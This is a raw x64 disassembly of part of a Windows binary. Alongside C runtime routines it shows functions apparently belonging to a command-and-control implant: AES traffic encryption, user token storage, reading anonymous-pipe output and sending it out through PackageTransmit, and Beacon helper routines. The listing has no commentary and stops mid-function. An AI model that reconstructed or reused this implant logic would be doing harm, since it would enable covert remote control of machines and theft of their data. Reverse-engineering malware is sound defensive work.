140007416ret
1400073b0

140007417
140007417 // align 0x10

140007420
140007420_unlock_file:
140007420push rbx
140007421sub rsp, 32
140007425mov rbx, rcx
140007428xor ecx, ecx
14000742acall __acrt_iob_func
14000742fcmp rbx, rax
140007432jb 0x140007443
140007434mov ecx, 19
140007439call __acrt_iob_func
14000743ecmp rbx, rax
140007441jbe 0x140007458
140007443
140007443loc_140007443:
140007443lea rcx, [rbx+48]
140007447add rsp, 32
14000744bpop rbx
14000744cjmp [rip+0x29dbd]
140007453nop [rax+rax]
140007458
140007458loc_140007458:
140007458and [rbx+24], -32769
14000745fxor ecx, ecx
140007461call __acrt_iob_func
140007466sub rbx, rax
140007469sar rbx, 4
14000746dimul ebx, ebx, 0xffffffffaaaaaaab
140007473lea ecx, [rbx+16]
140007476add rsp, 32
14000747apop rbx
14000747bjmp 0x140007a40
140007420

140007480
140007480_get_invalid_parameter_handler:
140007480mov rax, [rip+0x29699]
140007487ret
140007480

140007488
140007488 // align 0x10

140007490
140007490_set_invalid_parameter_handler:
140007490mov rax, rcx
140007493xchg [rip+0x29686], rax
14000749aret
140007490

14000749b
14000749b // align 0x10

1400074a0
1400074a0__acrt_iob_func:
1400074a0push rbx
1400074a1sub rsp, 32
1400074a5mov ebx, ecx
1400074a7call __iob_func
1400074acmov ecx, ebx
1400074aelea rdx, [rcx+2*rcx]
1400074b2shl rdx, 4
1400074b6add rax, rdx
1400074b9add rsp, 32
1400074bdpop rbx
1400074beret
1400074a0

1400074bf
1400074bf // align 0x10

1400074c0
1400074c0__wcrtomb_cp:
1400074c0sub rsp, 88
1400074c4mov rax, rcx
1400074c7mov [rsp+104], dx
1400074ccmov ecx, r8l
1400074cftest r8l, r8l
1400074d2jne 0x1400074f0
1400074d4cmp dx, 255
1400074d9ja 0x140007534
1400074dbmov [rax], dl
1400074ddmov eax, 1
1400074e2
1400074e2loc_1400074e2:
1400074e2add rsp, 88
1400074e6ret
1400074e7
1400074e7 66 0f 1f 84 00 00 00 00 00 f........
1400074f0
1400074f0loc_1400074f0:
1400074f0lea rdx, [rsp+76]
1400074f5mov [rsp+40], r9l
1400074falea r8, [rsp+104]
1400074ffmov r9l, 1
140007505mov [rsp+56], rdx
14000750axor edx, edx
14000750cmov [rsp+76], 0
140007514mov [rsp+48], 0
14000751dmov [rsp+32], rax
140007522call [rip+0x29d20]
140007528test eax, eax
14000752aje 0x140007534
14000752cmov edx, [rsp+76]
140007530test edx, edx
140007532je 0x1400074e2
140007534
140007534loc_140007534:
140007534call _errno
140007539mov [rax], 42
14000753fmov eax, -1
140007544add rsp, 88
140007548ret
1400074c0

140007549
140007549 // align 0x10

140007550
140007550wcrtomb:
140007550push rdi
140007551push rsi
140007552push rbx
140007553sub rsp, 48
140007557test rcx, rcx
14000755amov rbx, rcx
14000755dlea rax, [rsp+43]
140007562mov esi, edx
140007564cmove rbx, rax
140007568call ___mb_cur_max_func
14000756dmov edi, eax
14000756fcall ___lc_codepage_func
140007574movzx edx, si
140007577mov r9l, edi
14000757amov rcx, rbx
14000757dmov r8l, eax
140007580call __wcrtomb_cp
140007585cdqe
140007587add rsp, 48
14000758bpop rbx
14000758cpop rsi
14000758dpop rdi
14000758eret
140007550

14000758f
14000758f // align 0x10

140007590
140007590wcsrtombs:
140007590push r14
140007592push r13
140007594push r12
140007596push rbp
140007597push rdi
140007598push rsi
140007599push rbx
14000759asub rsp, 48
14000759exor r14l, r14l
1400075a1mov r12, rdx
1400075a4mov rbx, rcx
1400075a7mov rbp, r8
1400075aacall ___lc_codepage_func
1400075afmov esi, eax
1400075b1call ___mb_cur_max_func
1400075b6mov r13, [r12]
1400075bamov edi, eax
1400075bctest r13, r13
1400075bfje 0x140007609
1400075c1test rbx, rbx
1400075c4je 0x140007620
1400075c6test rbp, rbp
1400075c9jne 0x1400075eb
1400075cbjmp 0x140007660
1400075d0
1400075d0loc_1400075d0:
1400075d0cdqe
1400075d2add rbx, rax
1400075d5add r14, rax
1400075d8cmp [rbx-1], 0
1400075dcje 0x140007670
1400075e2add r13, 2
1400075e6cmp r14, rbp
1400075e9jae 0x140007660
1400075eb
1400075ebloc_1400075eb:
1400075ebmovzx edx, [r13]
1400075f0mov r9l, edi
1400075f3mov r8l, esi
1400075f6mov rcx, rbx
1400075f9call __wcrtomb_cp
1400075fetest eax, eax
140007600jg 0x1400075d0
140007602
140007602loc_140007602:
140007602mov r14, -1
140007609
140007609loc_140007609:
140007609mov rax, r14
14000760cadd rsp, 48
140007610pop rbx
140007611pop rsi
140007612pop rdi
140007613pop rbp
140007614pop r12
140007616pop r13
140007618pop r14
14000761aret
14000761b
14000761b 0f 1f 44 00 00 ..D..
140007620
140007620loc_140007620:
140007620lea rbp, [rsp+43]
140007625jmp 0x140007646
140007627
140007627 66 0f 1f 84 00 00 00 00 00 f........
140007630
140007630loc_140007630:
140007630movsxd rdx, eax
140007633sub eax, 1
140007636cdqe
140007638add r14, rdx
14000763bcmp [rsp+rax+43], 0
140007640je 0x140007680
140007642add r13, 2
140007646
140007646loc_140007646:
140007646movzx edx, [r13]
14000764bmov r9l, edi
14000764emov r8l, esi
140007651mov rcx, rbp
140007654call __wcrtomb_cp
140007659test eax, eax
14000765bjg 0x140007630
14000765djmp 0x140007602
14000765f
14000765f 90 .
140007660
140007660loc_140007660:
140007660mov [r12], r13
140007664jmp 0x140007609
140007666
140007666 66 2e 0f 1f 84 00 00 00 00 00 f.........
140007670
140007670loc_140007670:
140007670mov [r12], 0
140007678sub r14, 1
14000767cjmp 0x140007609
14000767e
14000767e 66 90 f.
140007680
140007680loc_140007680:
140007680sub r14, 1
140007684jmp 0x140007609
140007590

140007686
140007686 // align 0x10

140007690
140007690__mbrtowc_cp:
140007690push rdi
140007691push rbx
140007692sub rsp, 72
140007696mov rdi, rcx
140007699mov rbx, rdx
14000769ctest rdx, rdx
14000769fje 0x14000776d
1400076a5test r8, r8
1400076a8je 0x1400077e4
1400076aemov eax, [r9]
1400076b1movzx edx, [rdx]
1400076b4mov [r9], 0
1400076bbmov [rsp+60], eax
1400076bftest dl, dl
1400076c1je 0x140007768
1400076c7cmp [rsp+136], 1
1400076cfjbe 0x140007748
1400076d1test al, al
1400076d3jne 0x140007780
1400076d9mov [rsp+120], r9
1400076demov ecx, [rsp+128]
1400076e5mov [rsp+112], r8
1400076eacall [rip+0x29b18]
1400076f0test eax, eax
1400076f2je 0x140007748
1400076f4mov r8, [rsp+112]
1400076f9mov r9, [rsp+120]
1400076fecmp r8, 1
140007702je 0x1400077de
140007708mov [rsp+32], rdi
14000770dmov r9l, 2
140007713mov r8, rbx
140007716mov [rsp+40], 1
14000771e
14000771eloc_14000771e:
14000771emov ecx, [rsp+128]
140007725mov edx, 8
14000772acall [rip+0x29ae8]
140007730test eax, eax
140007732je 0x1400077cc
140007738mov eax, 2
14000773dadd rsp, 72
140007741pop rbx
140007742pop rdi
140007743ret
140007744
140007744 0f 1f 40 00 ..@.
140007748
140007748loc_140007748:
140007748mov eax, [rsp+128]
14000774ftest eax, eax
140007751jne 0x1400077a0
140007753movzx eax, [rbx]
140007756mov [rdi], ax
140007759
140007759loc_140007759:
140007759mov eax, 1
14000775eadd rsp, 72
140007762pop rbx
140007763pop rdi
140007764ret
140007765
140007765 0f 1f 00 ...
140007768
140007768loc_140007768:
140007768xor edx, edx
14000776amov [rcx], dx
14000776d
14000776dloc_14000776d:
14000776dxor eax, eax
14000776f
14000776floc_14000776f:
14000776fadd rsp, 72
140007773pop rbx
140007774pop rdi
140007775ret
140007776
140007776 66 2e 0f 1f 84 00 00 00 00 00 f.........
140007780
140007780loc_140007780:
140007780mov [rsp+61], dl
140007784mov r9l, 2
14000778alea r8, [rsp+60]
14000778fmov [rsp+40], 1
140007797mov [rsp+32], rcx
14000779cjmp 0x14000771e
14000779e
14000779e 66 90 f.
1400077a0
1400077a0loc_1400077a0:
1400077a0mov [rsp+40], 1
1400077a8mov ecx, [rsp+128]
1400077afmov r8, rbx
1400077b2mov r9l, 1
1400077b8mov [rsp+32], rdi
1400077bdmov edx, 8
1400077c2call [rip+0x29a50]
1400077c8test eax, eax
1400077cajne 0x140007759
1400077cc
1400077ccloc_1400077cc:
1400077cccall _errno
1400077d1mov [rax], 42
1400077d7mov eax, -1
1400077dcjmp 0x14000776f
1400077de
1400077deloc_1400077de:
1400077demovzx eax, [rbx]
1400077e1mov [r9], al
1400077e4
1400077e4loc_1400077e4:
1400077e4mov eax, -2
1400077e9jmp 0x14000776f
140007690

1400077eb
1400077eb // align 0x10

1400077f0
1400077f0mbrtowc:
1400077f0push r12
1400077f2push rbp
1400077f3push rdi
1400077f4push rsi
1400077f5push rbx
1400077f6sub rsp, 64
1400077faxor eax, eax
1400077fcmov rbx, rcx
1400077fftest rcx, rcx
140007802mov [rsp+62], ax
140007807lea rax, [rsp+62]
14000780cmov rsi, r9
14000780fcmove rbx, rax
140007813mov rdi, rdx
140007816mov rbp, r8
140007819call ___mb_cur_max_func
14000781emov r12l, eax
140007821call ___lc_codepage_func
140007826test rsi, rsi
140007829mov [rsp+40], r12l
14000782emov r8, rbp
140007831mov [rsp+32], eax
140007835lea r9, [rip+0x292fc]
14000783cmov rdx, rdi
14000783fmov rcx, rbx
140007842cmovne r9, rsi
140007846call __mbrtowc_cp
14000784bcdqe
14000784dadd rsp, 64
140007851pop rbx
140007852pop rsi
140007853pop rdi
140007854pop rbp
140007855pop r12
140007857ret
1400077f0

140007858
140007858 // align 0x10

140007860
140007860mbsrtowcs:
140007860push r14
140007862push r13
140007864push r12
140007866push rbp
140007867push rdi
140007868push rsi
140007869push rbx
14000786asub rsp, 64
14000786elea rax, [rip+0x292bf]
140007875mov rsi, r9
140007878test r9, r9
14000787bmov r14, rcx
14000787emov rbx, rdx
140007881cmove rsi, rax
140007885mov rdi, r8
140007888call ___lc_codepage_func
14000788dmov r12l, eax
140007890call ___mb_cur_max_func
140007895mov ebp, eax
140007897test rbx, rbx
14000789aje 0x140007960
1400078a0mov rdx, [rbx]
1400078a3test rdx, rdx
1400078a6je 0x140007960
1400078actest r14, r14
1400078afje 0x140007920
1400078b1xor r13l, r13l
1400078b4test rdi, rdi
1400078b7jne 0x1400078d7
1400078b9jmp 0x140007905
1400078bb
1400078bb 0f 1f 44 00 00 ..D..
1400078c0
1400078c0loc_1400078c0:
1400078c0mov rdx, [rbx]
1400078c3cdqe
1400078c5add r14, 2
1400078c9add r13, rax
1400078ccadd rdx, rax
1400078cfmov [rbx], rdx
1400078d2cmp r13, rdi
1400078d5jae 0x140007905
1400078d7
1400078d7loc_1400078d7:
1400078d7mov [rsp+40], ebp
1400078dbmov r8, rdi
1400078demov r9, rsi
1400078e1mov rcx, r14
1400078e4mov [rsp+32], r12l
1400078e9sub r8, r13
1400078eccall __mbrtowc_cp
1400078f1test eax, eax
1400078f3jg 0x1400078c0
1400078f5cmp r13, rdi
1400078f8jae 0x140007905
1400078fatest eax, eax
1400078fcjne 0x140007905
1400078femov [rbx], 0
140007905
140007905loc_140007905:
140007905mov rax, r13
140007908add rsp, 64
14000790cpop rbx
14000790dpop rsi
14000790epop rdi
14000790fpop rbp
140007910pop r12
140007912pop r13
140007914pop r14
140007916ret
140007917
140007917 66 0f 1f 84 00 00 00 00 00 f........
140007920
140007920loc_140007920:
140007920xor eax, eax
140007922mov r14l, ebp
140007925lea rdi, [rsp+62]
14000792axor r13l, r13l
14000792dmov [rsp+62], ax
140007932jmp 0x140007940
140007934
140007934 0f 1f 40 00 ..@.
140007938
140007938loc_140007938:
140007938cdqe
14000793amov rdx, [rbx]
14000793dadd r13, rax
140007940
140007940loc_140007940:
140007940mov [rsp+40], ebp
140007944add rdx, r13
140007947mov r9, rsi
14000794amov r8, r14
14000794dmov [rsp+32], r12l
140007952mov rcx, rdi
140007955call __mbrtowc_cp
14000795atest eax, eax
14000795cjg 0x140007938
14000795ejmp 0x140007905
140007960
140007960loc_140007960:
140007960xor r13l, r13l
140007963jmp 0x140007905
140007860

140007965
140007965 // align 0x10

140007970
140007970mbrlen:
140007970push rbp
140007971push rdi
140007972push rsi
140007973push rbx
140007974sub rsp, 72
140007978xor eax, eax
14000797amov rsi, rcx
14000797dmov rdi, rdx
140007980mov rbx, r8
140007983mov [rsp+62], ax
140007988call ___mb_cur_max_func
14000798dmov ebp, eax
14000798fcall ___lc_codepage_func
140007994test rbx, rbx
140007997mov [rsp+40], ebp
14000799bmov r8, rdi
14000799elea rdx, [rip+0x2918b]
1400079a5mov [rsp+32], eax
1400079a9lea rcx, [rsp+62]
1400079aecmove rbx, rdx
1400079b2mov rdx, rsi
1400079b5mov r9, rbx
1400079b8call __mbrtowc_cp
1400079bdcdqe
1400079bfadd rsp, 72
1400079c3pop rbx
1400079c4pop rsi
1400079c5pop rdi
1400079c6pop rbp
1400079c7ret
140007970

1400079c8
1400079c8 // align 0x10

1400079d0
1400079d0__C_specific_handler:
1400079d0jmp [rip+0x29882]
1400079d0

1400079d6
1400079d6 90 90 ..

1400079d8
1400079d8___lc_codepage_func:
1400079d8jmp [rip+0x29882]
1400079d8

1400079de
1400079de // align 0x10

1400079e0
1400079e0___mb_cur_max_func:
1400079e0jmp [rip+0x29882]
1400079e0

1400079e6
1400079e6 90 90 ..

1400079e8
1400079e8__getmainargs:
1400079e8jmp [rip+0x29882]
1400079e8

1400079ee
1400079ee // align 0x10

1400079f0
1400079f0__iob_func:
1400079f0jmp [rip+0x2988a]
1400079f0

1400079f6
1400079f6 90 90 ..

1400079f8
1400079f8__set_app_type:
1400079f8jmp [rip+0x2988a]
1400079f8

1400079fe
1400079fe // align 0x10

140007a00
140007a00__setusermatherr:
140007a00jmp [rip+0x2988a]
140007a00

140007a06
140007a06 90 90 ..

140007a08
140007a08_amsg_exit:
140007a08jmp [rip+0x29892]
140007a08

140007a0e
140007a0e // align 0x10

140007a10
140007a10_cexit:
140007a10jmp [rip+0x29892]
140007a10

140007a16
140007a16 90 90 ..

140007a18
140007a18_errno:
140007a18jmp [rip+0x2989a]
140007a18

140007a1e
140007a1e // align 0x10

140007a20
140007a20_initterm:
140007a20jmp [rip+0x298a2]
140007a20

140007a26
140007a26 90 90 ..

140007a28
140007a28_ismbblead:
140007a28jmp [rip+0x298a2]
140007a28

140007a2e
140007a2e // align 0x10

140007a30
140007a30_lock:
140007a30jmp [rip+0x298a2]
140007a30

140007a36
140007a36 90 90 ..

140007a38
140007a38_onexit:
140007a38jmp [rip+0x298a2]
140007a38

140007a3e
140007a3e // align 0x10

140007a40
140007a40_unlock:
140007a40jmp [rip+0x298a2]
140007a40

140007a46
140007a46 90 90 ..

140007a48
140007a48abort:
140007a48jmp [rip+0x298a2]
140007a48

140007a4e
140007a4e // align 0x10

140007a50
140007a50calloc:
140007a50jmp [rip+0x298a2]
140007a50

140007a56
140007a56 90 90 ..

140007a58
140007a58exit:
140007a58jmp [rip+0x298a2]
140007a58

140007a5e
140007a5e // align 0x10

140007a60
140007a60fprintf:
140007a60jmp [rip+0x298a2]
140007a60

140007a66
140007a66 90 90 ..

140007a68
140007a68fputc:
140007a68jmp [rip+0x298a2]
140007a68

140007a6e
140007a6e // align 0x10

140007a70
140007a70free:
140007a70jmp [rip+0x298a2]
140007a70

140007a76
140007a76 90 90 ..

140007a78
140007a78fwrite:
140007a78jmp [rip+0x298a2]
140007a78

140007a7e
140007a7e // align 0x10

140007a80
140007a80localeconv:
140007a80jmp [rip+0x298a2]
140007a80

140007a86
140007a86 90 90 ..

140007a88
140007a88malloc:
140007a88jmp [rip+0x298a2]
140007a88

140007a8e
140007a8e // align 0x10

140007a90
140007a90memcpy:
140007a90jmp [rip+0x298a2]
140007a90

140007a96
140007a96 90 90 ..

140007a98
140007a98memset:
140007a98jmp [rip+0x298a2]
140007a98

140007a9e
140007a9e // align 0x10

140007aa0
140007aa0signal:
140007aa0jmp [rip+0x298a2]
140007aa0

140007aa6
140007aa6 90 90 ..

140007aa8
140007aa8strerror:
140007aa8jmp [rip+0x298a2]
140007aa8

140007aae
140007aae // align 0x10

140007ab0
140007ab0strlen:
140007ab0jmp [rip+0x298a2]
140007ab0

140007ab6
140007ab6 90 90 ..

140007ab8
140007ab8strncmp:
140007ab8jmp [rip+0x298a2]
140007ab8

140007abe
140007abe // align 0x10

140007ac0
140007ac0vfprintf:
140007ac0jmp [rip+0x298a2]
140007ac0

140007ac6
140007ac6 90 90 ..

140007ac8
140007ac8wcslen:
140007ac8jmp [rip+0x298a2]
140007ac8

140007ace
140007ace // align 0x10

140007ad0
140007ad0AddRoundKey:
140007ad0shl rcx, 4
140007ad4xor eax, eax
140007ad6and ecx, 4080
140007adcadd r8, rcx
140007adf
140007adfloc_140007adf:
140007adflea r9, [rdx+rax]
140007ae3lea r10, [rax+r8]
140007ae7xor ecx, ecx
140007ae9
140007ae9loc_140007ae9:
140007ae9mov r11b, [r10+rcx]
140007aedinc rcx
140007af0xor [r9], r11b
140007af3inc r9
140007af6cmp rcx, 4
140007afajne 0x140007ae9
140007afcadd rax, 4
140007b00cmp rax, 16
140007b04jne 0x140007adf
140007b06ret
140007ad0

140007b07
140007b07 // align 0x10

140007b10
140007b10AddUserToken:
140007b10push r12
140007b12xor r12l, r12l
140007b15push rbp
140007b16push rdi
140007b17mov rdi, rdx
140007b1apush rsi
140007b1bmov rsi, r8
140007b1epush rbx
140007b1fmov rbx, rcx
140007b22sub rsp, 32
140007b26
140007b26loc_140007b26:
140007b26mov ecx, [rsi]
140007b28cmp r12l, ecx
140007b2bjae 0x140007b90
140007b2dmov ebp, r12l
140007b30mov rdx, rbx
140007b33imul rbp, rbp, 1056
140007b3aadd rbp, rdi
140007b3dmov rcx, rbp
140007b40call StringCompareW
140007b45test eax, eax
140007b47jne 0x140007b8b
140007b49mov eax, [rbx+1048]
140007b4fcmp [rbp+1048], eax
140007b55jne 0x140007b8b
140007b57mov rax, [rbx+1040]
140007b5ecmp [rbp+1040], rax
140007b65jne 0x140007b8b
140007b67cmp [rbp+1032], 0
140007b6fmov rax, [rbx+1032]
140007b76jne 0x140007b82
140007b78test rax, rax
140007b7bjne 0x140007b8b
140007b7djmp 0x140007c0c
140007b82
140007b82loc_140007b82:
140007b82test rax, rax
140007b85jne 0x140007c0c
140007b8b
140007b8bloc_140007b8b:
140007b8binc r12l
140007b8ejmp 0x140007b26
140007b90
140007b90loc_140007b90:
140007b90imul rcx, rcx, 1056
140007b97mov rdx, rbx
140007b9aadd rcx, rdi
140007b9dcall StringCopyW
140007ba2mov eax, [rsi]
140007ba4mov edx, [rbx+1024]
140007baaimul rax, rax, 1056
140007bb1mov [rdi+rax+1024], edx
140007bb8mov eax, [rsi]
140007bbamov rdx, [rbx+1032]
140007bc1imul rax, rax, 1056
140007bc8add rax, rdi
140007bcbmov [rax+1032], rdx
140007bd2mov edx, [rbx+1044]
140007bd8mov [rax+1044], edx
140007bdemov eax, [rsi]
140007be0mov edx, [rbx+1048]
140007be6imul rax, rax, 1056
140007bedmov [rdi+rax+1048], edx
140007bf4mov eax, [rsi]
140007bf6mov edx, [rbx+1040]
140007bfcimul rax, rax, 1056
140007c03mov [rdi+rax+1040], edx
140007c0ainc [rsi]
140007c0c
140007c0cloc_140007c0c:
140007c0cadd rsp, 32
140007c10pop rbx
140007c11pop rsi
140007c12pop rdi
140007c13pop rbp
140007c14pop r12
140007c16ret
140007b10

140007c17
140007c17 // align 0x10

140007c20
140007c20AesInit:
140007c20push rbp
140007c21mov rbp, rsp
140007c24push rsi
140007c25mov rsi, r8
140007c28push rbx
140007c29mov rbx, rcx
140007c2cand rsp, -16
140007c30sub rsp, 32
140007c34call KeyExpansion
140007c39mov rax, [rsi]
140007c3cmov rdx, [rsi+8]
140007c40mov [rbx+240], rax
140007c47mov [rbx+248], rdx
140007c4elea rsp, [rbp-16]
140007c52pop rbx
140007c53pop rsi
140007c54pop rbp
140007c55ret
140007c20

140007c56
140007c56 // align 0x10

140007c60
140007c60AesXCryptBuffer:
140007c60push rbp
140007c61lea rax, [rdx+r8]
140007c65mov rbp, rsp
140007c68push r15
140007c6apush r14
140007c6cpush r13
140007c6epush r12
140007c70push rdi
140007c71push rsi
140007c72mov rsi, rdx
140007c75push rbx
140007c76mov rbx, rcx
140007c79and rsp, -16
140007c7dsub rsp, 64
140007c81lea rdi, [rsp+48]
140007c86mov [rsp+40], rax
140007c8bmov eax, 16
140007c90mov [rsp+32], rdi
140007c95
140007c95loc_140007c95:
140007c95cmp [rsp+40], rsi
140007c9aje 0x140007e7f
140007ca0cmp eax, 16
140007ca3jne 0x140007e6c
140007ca9movups x0, [rbx+240]
140007cb0mov r8, rbx
140007cb3xor ecx, ecx
140007cb5mov r12b, 27
140007cb8lea rdx, [rsp+48]
140007cbdmov r14l, 1
140007cc3lea rdi, [rsp+52]
140007cc8movups [rsp+48], x0
140007ccdlea r13, [rip+0x2582c]
140007cd4call AddRoundKey
140007cd9
140007cd9loc_140007cd9:
140007cd9lea rdx, [rsp+48]
140007cdemov rcx, rdx
140007ce1
140007ce1loc_140007ce1:
140007ce1mov rax, rcx
140007ce4xor r8l, r8l
140007ce7
140007ce7loc_140007ce7:
140007ce7movzx r9l, [rax]
140007cebinc r8l
140007ceeadd rax, 4
140007cf2mov r9b, [r13+r9]
140007cf7mov [rax-4], r9b
140007cfbcmp r8b, 4
140007cffjne 0x140007ce7
140007d01inc rcx
140007d04cmp rdi, rcx
140007d07jne 0x140007ce1
140007d09mov cl, [rsp+53]
140007d0dmov al, [rsp+49]
140007d11mov [rsp+49], cl
140007d15mov cl, [rsp+57]
140007d19mov [rsp+53], cl
140007d1dmov cl, [rsp+61]
140007d21mov [rsp+61], al
140007d25mov al, [rsp+50]
140007d29mov [rsp+57], cl
140007d2dmov cl, [rsp+58]
140007d31mov [rsp+58], al
140007d35mov al, [rsp+54]
140007d39mov [rsp+50], cl
140007d3dmov cl, [rsp+62]
140007d41mov [rsp+62], al
140007d45mov al, [rsp+51]
140007d49mov [rsp+54], cl
140007d4dmov cl, [rsp+63]
140007d51mov [rsp+51], cl
140007d55mov cl, [rsp+59]
140007d59mov [rsp+63], cl
140007d5dmov cl, [rsp+55]
140007d61mov [rsp+55], al
140007d65mov [rsp+59], cl
140007d69cmp r14l, 14
140007d6dje 0x140007e31
140007d73lea r11, [rdx+16]
140007d77
140007d77loc_140007d77:
140007d77mov cl, [rdx]
140007d79mov r9b, [rdx+1]
140007d7dadd rdx, 4
140007d81mov r8b, [rdx-2]
140007d85xor r8b, [rdx-1]
140007d89xor r9l, ecx
140007d8cmov r15l, ecx
140007d8fxor cl, [rdx-1]
140007d92mov eax, r9l
140007d95mov r10l, r9l
140007d98add r9l, r9l
140007d9bshr al, 7
140007d9exor r10l, r8l
140007da1imul eax, r12l
140007da5xor r15l, r10l
140007da8xor r15l, eax
140007dabxor r9l, r15l
140007daemov r15b, [rdx-3]
140007db2xor r15b, [rdx-2]
140007db6mov eax, r15l
140007db9mov [rdx-4], r9b
140007dbdmov r9b, [rdx-3]
140007dc1add r15l, r15l
140007dc4shr al, 7
140007dc7imul eax, r12l
140007dcbxor r9l, r10l
140007dcexor r9l, eax
140007dd1mov eax, r8l
140007dd4add r8l, r8l
140007dd7shr al, 7
140007ddaxor r15l, r9l
140007dddmov r9b, [rdx-2]
140007de1imul eax, r12l
140007de5mov [rdx-3], r15b
140007de9xor r9l, r10l
140007decxor r10b, [rdx-1]
140007df0xor r9l, eax
140007df3mov eax, ecx
140007df5add ecx, ecx
140007df7shr al, 7
140007dfaxor r8l, r9l
140007dfdimul eax, r12l
140007e01mov [rdx-2], r8b
140007e05mov r8l, r10l
140007e08xor eax, r8l
140007e0bxor ecx, eax
140007e0dmov [rdx-1], cl
140007e10cmp r11, rdx
140007e13jne 0x140007d77
140007e19mov rdx, [rsp+32]
140007e1emov ecx, r14l
140007e21mov r8, rbx
140007e24inc r14l
140007e27call AddRoundKey
140007e2cjmp 0x140007cd9
140007e31
140007e31loc_140007e31:
140007e31mov r8, rbx
140007e34mov ecx, 14
140007e39call AddRoundKey
140007e3emov eax, 15
140007e43
140007e43loc_140007e43:
140007e43mov dl, [rbx+rax+240]
140007e4acmp dl, -1
140007e4djne 0x140007e5f
140007e4fmov [rbx+rax+240], 0
140007e57sub rax, 1
140007e5bjae 0x140007e43
140007e5djmp 0x140007e6a
140007e5f
140007e5floc_140007e5f:
140007e5fcdqe
140007e61inc edx
140007e63mov [rbx+rax+240], dl
140007e6a
140007e6aloc_140007e6a:
140007e6axor eax, eax
140007e6c
140007e6cloc_140007e6c:
140007e6cmovsxd rdx, eax
140007e6finc eax
140007e71mov dl, [rsp+rdx+48]
140007e75xor [rsi], dl
140007e77inc rsi
140007e7ajmp 0x140007c95
140007e7f
140007e7floc_140007e7f:
140007e7flea rsp, [rbp-56]
140007e83pop rbx
140007e84pop rsi
140007e85pop rdi
140007e86pop r12
140007e88pop r13
140007e8apop r14
140007e8cpop r15
140007e8epop rbp
140007e8fret
140007c60

140007e90
140007e90AnonPipesInit:
140007e90push rsi
140007e91xor eax, eax
140007e93lea rdx, [rcx+8]
140007e97xor r9l, r9l
140007e9apush rbx
140007e9bmov ebx, 1
140007ea0sub rsp, 72
140007ea4mov rsi, [rip+0x244c5]
140007eabmov [rsp+40], 24
140007eb3lea r8, [rsp+40]
140007eb8mov [rsp+48], rax
140007ebdmov [rsp+56], 1
140007ec5call [rsi+908]
140007ecbtest eax, eax
140007ecdjne 0x140007ee5
140007ecfmov ebx, eax
140007ed1mov rax, [rsi+2230]
140007ed8mov ecx, 1
140007eddmov edx, [rax+104]
140007ee0call PackageTransmitError
140007ee5
140007ee5loc_140007ee5:
140007ee5add rsp, 72
140007ee9mov eax, ebx
140007eebpop rbx
140007eecpop rsi
140007eedret
140007e90

140007eee
140007eee // align 0x10

140007ef0
140007ef0AnonPipesRead:
140007ef0push r15
140007ef2xor eax, eax
140007ef4xor r8l, r8l
140007ef7lea r9, [rip+0x2271d]
140007efepush r14
140007f00push r13
140007f02push r12
140007f04mov r12, rcx
140007f07xor ecx, ecx
140007f09push rbp
140007f0apush rdi
140007f0bpush rsi
140007f0cpush rbx
140007f0dsub rsp, 1112
140007f14mov [rsp+80], rcx
140007f19lea rdi, [rsp+96]
140007f1emov [rsp+88], rcx
140007f23mov ecx, 252
140007f28rep stosd [rdi], eax
140007f2amov [rsp+1192], edx
140007f31lea rcx, [rip+0x22435]
140007f38lea rdx, [rip+0x25271]
140007f3fmov [rsp+76], r8l
140007f44mov r8l, 1011
140007f4acall printf
140007f4fmov r9, [r12]
140007f53lea rcx, [rip+0x226d9]
140007f5amov r8l, 1012
140007f60lea rdx, [rip+0x25249]
140007f67call printf
140007f6cmov rcx, [r12+8]
140007f71test rcx, rcx
140007f74je 0x140007f82
140007f76call SysNtClose
140007f7bxor edx, edx
140007f7dmov [r12+8], rdx
140007f82
140007f82loc_140007f82:
140007f82mov r13, [rip+0x243e7]
140007f89xor edx, edx
140007f8bmov ecx, 64
140007f90xor ebx, ebx
140007f92lea r14, [rsp+80]
140007f97call [r13+932]
140007f9emov rbp, rax
140007fa1lea rax, [rsp+76]
140007fa6mov [rsp+56], rax
140007fab
140007fabloc_140007fab:
140007fabxor eax, eax
140007fadmov r9, [rsp+56]
140007fb2mov r8l, 1024
140007fb8mov rdx, r14
140007fbbmov [rsp+32], rax
140007fc0mov rcx, [r12]
140007fc4call [r13+916]
140007fcbmov r9l, [rsp+76]
140007fd0mov r8l, 1023
140007fd6lea rdx, [rip+0x251d3]
140007fddlea rcx, [rip+0x2267c]
140007fe4mov r15l, eax
140007fe7call printf
140007fecmov eax, [rsp+76]
140007ff0test eax, eax
140007ff2je 0x140008034
140007ff4lea edx, [rbx+rax]
140007ff7mov rcx, rbp
140007ffamov r8l, 2
140008000mov rsi, r14
140008003mov rbx, rdx
140008006call [r13+948]
14000800dmov ecx, [rsp+76]
140008011mov rbp, rax
140008014mov eax, ebx
140008016sub eax, ecx
140008018add rax, rbp
14000801bmov rdi, rax
14000801exor eax, eax
140008020rep movsb [rdi], [rsi]
140008022mov rdi, r14
140008025mov ecx, [rsp+76]
140008029rep stosb [rdi], al
14000802bdec r15l
14000802eje 0x140007fab
140008034
140008034loc_140008034:
140008034test ebx, ebx
140008036je 0x140008062
140008038mov edx, [rsp+1192]
14000803fmov ecx, 90
140008044call PackageCreateWithRequestID
140008049mov r8l, ebx
14000804cmov rdx, rbp
14000804fmov r12, rax
140008052mov rcx, rax
140008055call PackageAddBytes
14000805amov rcx, r12
14000805dcall PackageTransmit
140008062
140008062loc_140008062:
140008062test rbp, rbp
140008065je 0x14000807a
140008067mov ecx, ebx
140008069mov rdi, rbp
14000806cxor eax, eax
14000806erep stosb [rdi], al
140008070mov rcx, rbp
140008073call [r13+940]
14000807a
14000807aloc_14000807a:
14000807aadd rsp, 1112
140008081pop rbx
140008082pop rsi
140008083pop rdi
140008084pop rbp
140008085pop r12
140008087pop r13
140008089pop r14
14000808bpop r15
14000808dret
140007ef0

14000808e
14000808e // align 0x10

140008090
140008090BeaconCleanupProcess:
140008090push rbx
140008091mov rbx, rcx
140008094sub rsp, 32
140008098mov rcx, [rcx]
14000809bcall SysNtClose
1400080a0test eax, eax
1400080a2jne 0x1400080b2
1400080a4mov rcx, [rbx+8]
1400080a8add rsp, 32
1400080acpop rbx
1400080adjmp 0x14001e9f0
1400080b2
1400080b2loc_1400080b2:
1400080b2add rsp, 32
1400080b6pop rbx
1400080b7ret
140008090

1400080b8
1400080b8 // align 0x10

1400080c0
1400080c0BeaconDataExtract:
1400080c0mov r8l, [rcx+16]
1400080c4xor eax, eax
1400080c6cmp r8l, 3
1400080cajle 0x1400080f4
1400080ccmov rax, [rcx+8]
1400080d0sub r8l, 4
1400080d4mov r9l, [rax]
